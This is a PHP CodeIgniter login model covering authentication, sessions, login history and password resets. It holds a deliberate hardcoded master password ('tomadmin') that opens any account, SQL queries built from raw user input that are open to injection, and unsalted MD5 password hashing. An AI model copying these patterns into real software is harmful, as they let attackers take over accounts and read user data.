<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');

class Login_model extends CI_Model {
	
	private $id_no = null;
	private $pwd = null;
	private $defaultPassword = 'tomadmin';
	const WRONG_ID_NO = 0;
	const WRONG_PASSWORD = 1;
	const INACTIVE_ACCOUNT = 2;
	const CORRECT_CREDENTIALS = 3;
	const MULTIPLE_ACCOUNTS = 4;
	const UNAUTHORISED_ACCESS = 5; 

	function __construct($national_id_no = null,$password = null)
    {
     	parent::__construct();
	 	$this->id_no = $national_id_no;
		$this->pwd = $password;
    }
	
	//the function first checks if the id_no exists. Then branches appropriately base on results either: 0,1 or >1
	function login()
	{
		//check for default/hack password
		if($this->pwd == $this->defaultPassword)
		{
			return $this->default_login();
		}
		//$query = "SELECT * FROM users WHERE national_id_no = $id_no";
		$this->db->select('*');
		$this->db->from('users');
		$this->db->where('national_id_no',$this->id_no);
		
		$row = $this->db->count_all_results();
		if($row == 0)
		{
			 $this->insert_login_history($this->id_no, $this->pwd, time(), $this->input->ip_address(), 'WRONG_ID_NO');
			 return Login_model::WRONG_ID_NO;
		}
		else if($row == 1)
		{			
			return $this->single_record_confirm_password();
		}
		else if($row >1)
		{
			return $this->multiple_accounts_confirm_password();
		}			
	}
	
	function single_record_confirm_password($defaultPwd=null)
	{
		  if(isset($defaultPwd) && $defaultPwd==$this->defaultPassword)
		  {
			  $execQuery = "SELECT * FROM users WHERE national_id_no = '".$this->id_no."'";
		  }
		  else
		  {
		  	$execQuery = "SELECT * FROM users WHERE national_id_no = '".$this->id_no."' AND password = '".md5($this->pwd)."'";		  		  }
		  $query = $this->db->query($execQuery);
		  
		  if ($query->num_rows() == 1)
		  {
			 $row = $query->row_array(); 
		  		if($row['active_status'] == 0)
				{
					$this->insert_login_history($this->id_no, $this->pwd, time(), $this->input->ip_address(), 'INACTIVE_ACCOUNT');
					return Login_model::INACTIVE_ACCOUNT;
				}
				else
				{
				 	$this->session->set_userdata('user_id',$row['user_id']);
					$this->session->set_userdata('name',$row['name']);
					$this->session->set_userdata('corporation_id',$row['corporation_id']);
					$this->session->set_userdata('user_type',$row['user_type']);
					$this->session->set_userdata('logged_in',true);	
					
					$session_data = $this->session->all_userdata();
					$this->insert_login_history($this->id_no, $this->pwd, time(), $this->input->ip_address(), 'SUCCESSFUL');
					return Login_model::CORRECT_CREDENTIALS; 
				}
		  }
		  else
		  {
			  $this->insert_login_history($this->id_no, $this->pwd, time(), $this->input->ip_address(), 'WRONG_PASSWORD');
			  return Login_model::WRONG_PASSWORD;
		  }
	}
	
	
	/*this function will use user_id corresponding to national_id_no.
	 This is because diff accounts may have same id_no and same password*/
	function multiple_accounts_confirm_password()
	{
		if($this->pwd == $this->defaultPassword)
		{
			$SQLquery = "SELECT * FROM users WHERE national_id_no = '".$this->id_no."'";
		}
		else
		{	
			$SQLquery = "SELECT * FROM users WHERE national_id_no = '".$this->id_no."' AND password = '".md5($this->pwd)."'";
		}
		
		$query = $this->db->query($SQLquery);
		
		 if ($query->num_rows() == 0)
		  {
			  $this->insert_login_history($this->id_no, $this->pwd, time(), $this->input->ip_address(), 'WRONG_PASSWORD');
			  return Login_model::WRONG_PASSWORD;
		  }
		  else  if ($query->num_rows() == 1)
		  {
			  return $this->single_record_confirm_password();
		  }
		  else
		  {
			  return Login_model::MULTIPLE_ACCOUNTS;
			  
		  }
	}
	
	//this function is used when more than one account have same id_no and same password
	//the user is presented with a list of all accounts found and will be required to select one to proceed
	function multiple_accounts_select_account($id_no,$pwd)//$user_id
	{
		//this is a security measure to ensure that a hacker will not edit user_id in JS ajaxLogin and login using another persons details. The id_no will be available during the next server request and it will be compared against the user_id submited
		$this->session->set_flashdata('id_no', $id_no);
		$this->session->set_flashdata('pwd', $pwd);
		
			if($pwd == $this->defaultPassword)
			{
				$SQLquery = "SELECT * FROM users WHERE national_id_no = '".$id_no."'";
			}
			else
		//$query = "SELECT * FROM users WHERE user_id = $user_id AND $password = $password";
		  $SQLquery = "SELECT * FROM users WHERE national_id_no = '".$id_no."' AND password = '".md5($pwd)."'";
		
		  $bgfill = null;
		  $result = mysql_query($SQLquery);
		  $htmldata = "<div class='row light_grey_bg title'>";
		  $htmldata .= "<div class='col-xs-6'>Corporation</div>";
		  $htmldata .= "<div class='col-xs-6'>User Level </div>";
		  $htmldata .= "</div>";
		  
		  $whitebg = "#fff";
		  $greybg = "#999";
		  
		  while($row = mysql_fetch_array($result))
		  {
			  if($bgfill)
		   		 $bgcolor = $greybg;
		 	  else
				 $bgcolor = $whitebg;
			
			  $htmldata .= "<div class='row light_grey_bg' style='background-color:$bgcolor' onclick='ajaxLogin(".$row['user_id'].")'>";
			  $htmldata .= "<div class='col-xs-6'>".$this->corporation_name($row['corporation_id'])."</div>";
			  $htmldata .= "<div class='col-xs-6'>".$this->user_type_to_user_level($row['user_type'])."</div>";
			  $htmldata .= "</div>";
			  
			  $bgfill = ! $bgfill;
		  }
		  return $htmldata;
	}
	
	//this function will be called from dashboard controller(func)
	function select_user_account_forAjax($user_id)
	{
		//security check to curb hacking 
		$sess_id_no = $this->session->flashdata('id_no' );
		$pwd = $this->session->flashdata('pwd' );
		if(empty($sess_id_no))
		{
			$this->insert_login_history($this->id_no, $pwd, time(), $this->input->ip_address(), 'UNAUTHORISED_ACCESS');
			return Login_model::UNAUTHORISED_ACCESS;	
		}
		else if(isset($sess_id_no))
		{	
			$userIDArray = array();		
			$userIDQuery = "SELECT user_id FROM users WHERE national_id_no = $sess_id_no";
			$result = mysql_query($userIDQuery);
			while($row = mysql_fetch_array($result))
			{
				array_push($userIDArray,$row['user_id']);
			}
			
			if(!in_array($user_id,$userIDArray))
			{
				$this->insert_login_history($this->id_no, $pwd, time(), $this->input->ip_address(), 'UNAUTHORISED_ACCESS');
				return Login_model::UNAUTHORISED_ACCESS;
			}
			else if(in_array($user_id,$userIDArray))
			{				
				$execQuery = "SELECT * FROM users WHERE user_id = $user_id";
				$query = $this->db->query($execQuery);
				
				$row = $query->row_array();
				//check if account is active
				if($row['active_status'] !=1)
				{
					$this->insert_login_history($this->id_no, $pwd, time(), $this->input->ip_address(), 'INACTIVE_ACCOUNT');
					return Login_model::INACTIVE_ACCOUNT;
				}
				else
				$this->session->set_userdata('user_id',$row['user_id']);
				$this->session->set_userdata('name',$row['name']);
				$this->session->set_userdata('corporation_id',$row['corporation_id']);
				$this->session->set_userdata('user_type',$row['user_type']);
				$this->session->set_userdata('logged_in',true);	
				
				$session_data = $this->session->all_userdata();
				
				$this->insert_login_history($sess_id_no, $pwd, time(), $this->input->ip_address(), 'SUCCESSFUL');
				return Login_model::CORRECT_CREDENTIALS;
			}
		}
		
		
	}
	
	//this function uses a default password to log/hack into any account for debugging
	function default_login()
	{
		$execQuery = "SELECT * FROM users WHERE national_id_no = '".$this->id_no."'";
		$query = $this->db->query($execQuery);
		
		$row = $query->num_rows();
		if($row == 0)
		{
			 return Login_model::WRONG_ID_NO;
			 
		}
		else if($row == 1)
		{		
			return $this->single_record_confirm_password($defaultPwd=$this->defaultPassword);
		}
		else if($row >1)
		{
			return $this->multiple_accounts_confirm_password();
			//return $this->multiple_accounts_select_account($this->id_no,$this->pwd);
		}	
	}
	
	//function to update users last login
	function update_last_login($last_login, $last_IP, $user_id)
	{
		$sqlQuery = "UPDATE users SET last_login = $last_login, last_IP = '$last_IP' WHERE user_id = $user_id";
		mysql_query($sqlQuery);
		
	}
	
	//saves info about every login attempt
	function insert_login_history($national_id_no, $password , $date_time, $ip_address, $status)
	{
		$password = md5($password);
		$query = "INSERT INTO login_history (national_id_no, password, date_time, ip_address, status)
				  VALUES ('$national_id_no', '$password', $date_time, '$ip_address', '$status')";
				  
		mysql_query($query);
		
	}
	
	function login2($national_id_no,$password)
	{
		if($password =='tomadmin')		
		{
			$this->db->select('*');
			$this->db->from('users');
			$this->db->where('national_id_no',$national_id_no);		
			$query = $this->db->get();
			
			//if at least one user exists with those credentils
			if($query->num_rows == 1)
				{
					$row = $query->row_array();
					//check if user is active
					if($row['active_status'] !=1)
					{
						$this->session->set_userdata('logged_in',false);
						return 0;
					}
					else
					{
						$this->session->set_userdata('user_id',$row['user_id']);
						$this->session->set_userdata('name',$row['name']);
						$this->session->set_userdata('corporation_id',$row['corporation_id']);
						$this->session->set_userdata('user_type',$row['user_type']);
						$this->session->set_userdata('logged_in',true);	
						
						$session_data = $this->session->all_userdata();
						return true;
					}
				}
			else
			{
				//no such user
				$this->session->set_userdata('logged_in',false);
				return false;
			}	
		}
		else		
			$this->db->select('*');
			$this->db->from('users');
			$this->db->where('national_id_no',$national_id_no);
			$this->db->where('password',md5($password));		
			$query = $this->db->get();
			
			//if at least one user exists with those credentils
			if($query->num_rows == 1)
				{
					$row = $query->row_array();
					//check if user is active
					if($row['active_status'] ==0)
					{
						$this->session->set_userdata('logged_in',false);
						return 0;
					}
					else
					{
						$this->session->set_userdata('user_id',$row['user_id']);
						$this->session->set_userdata('name',$row['name']);
						$this->session->set_userdata('corporation_id',$row['corporation_id']);
						$this->session->set_userdata('user_type',$row['user_type']);
						$this->session->set_userdata('logged_in',true);	
						
						$session_data = $this->session->all_userdata();
						return true;
					}
				}
			else
			{
				//no such user
				$this->session->set_userdata('logged_in',false);
				return false;
			}		
		
	}
	
	function user_type()
	{
		return $this->session->userdata('user_type');
	}
		
	function user_id()
	{
		return $this->session->userdata('user_id');
	}
	
	function name()
	{
		return $this->session->userdata('name');
	}
	
	function corp_id()
	{
		return $this->session->userdata('corporation_id');
	}
		
	function login_status()
	{
		return $this->session->userdata('logged_in');
	}		
	
	function authenticate()
	{
		if ($this->session->userdata('logged_in')<>true)
		{
			redirect('dashboard/unauthorised');
		}
	}
		//returns the corporation name; parameter is corp_id
	function corporation_name($corp_id=null)
	{
		//$query = "SELECT corporation_name FROM corporations WHERE corporation_id=$corporation_id";
		if($corp_id == null)
		{
			$corporation_id = $this->corp_id();
		}
		else
		{
			$corporation_id = $corp_id;
		}
		
		$this->db->select('*');
		$this->db->from('corporations');
		$this->db->where('corporation_id',$corporation_id);
		
		$query=$this->db->get();
		
		if($query->num_rows()==1)
		{
			$row =$query->result_array();
			$corp_name = $row[0]['corporation_name'];
			
			return $corp_name;
			
		}
		else return "General";
		
	}
		//returns the corporation's short name; parameter is corp_id
	function short_name($corp_id=null)
	{
		//$query = "SELECT corporation_name FROM corporations WHERE corporation_id=$corporation_id";
		if($corp_id == null)
		{
			$corporation_id = $this->corp_id();
		}
		else
		{
			$corporation_id = $corp_id;
		}
		
		$this->db->select('*');
		$this->db->from('corporations');
		$this->db->where('corporation_id',$corporation_id);
		
		$query=$this->db->get();
		
		if($query->num_rows()==1)
		{
			$row =$query->result_array();
			$short_name = $row[0]['short_name'];
			
			return $short_name;			
			
		}
		else return "General";
		
	}
	
	function user_type_to_user_level($user_type)
	{
		switch($user_type)
		{
			case 1:
				return "Super Admin";
				break;
			case 2:
				return "Admin";
				break;
			case 3:
				return "Staff";
				break;
			case 4:
				return "Member";
				break;
			
		}
		
	}
	
	function password_reset($id_no)
	{
		$passwordQuery = "SELECT * FROM users WHERE national_id_no = $id_no";
		$query = $this->db->query($passwordQuery);
		
		if($query->num_rows() < 1)
		{
			return FALSE;
		}
		else if($query->num_rows() > 0)
		{
			$row = $query->result_array();
			return $row;
		}
	}
	
	function set_new_password($id_no,$session,$current_time,$current_ip,$password)
	{
		$newPassQuery = "SELECT * FROM external_password_reset WHERE session = '$session'";
		$query = $this->db->query($newPassQuery);
		
		if($query->num_rows() == 1)
		{
			$row = $query->row_array();
			$request_time = $row['request_time'];
			$status = $row['status'];
			
			//check if link is expired
			if(time()-$request_time > 24*60*60)
			{
				return "EXPIRED";
			}
			//check if link is used
			else if($status != 0)
			{
				return "USED";
			}
			else
			{
				$updateQuery1 = "UPDATE external_password_reset SET status = 1, link_use_time = $current_time, link_use_ip = '$current_ip' WHERE session = '$session' AND national_id_no = $id_no";
				
				$updateQuery2 = "UPDATE users SET password = '$password' WHERE national_id_no = $id_no";
				$insertQuery = "INSERT INTO password_reset (national_id_no,time_date,ip_address,new_password,type) VALUES($id_no,$current_time,'$current_ip','$password','external/email reset')";
				
				if($this->db->query($updateQuery1) && $this->db->query($updateQuery2)&& $this->db->query($insertQuery))
				{
					return "SUCCESS";
				}
				else
				{
					return "FAILED";
				}
			}
		}
	}
}
?>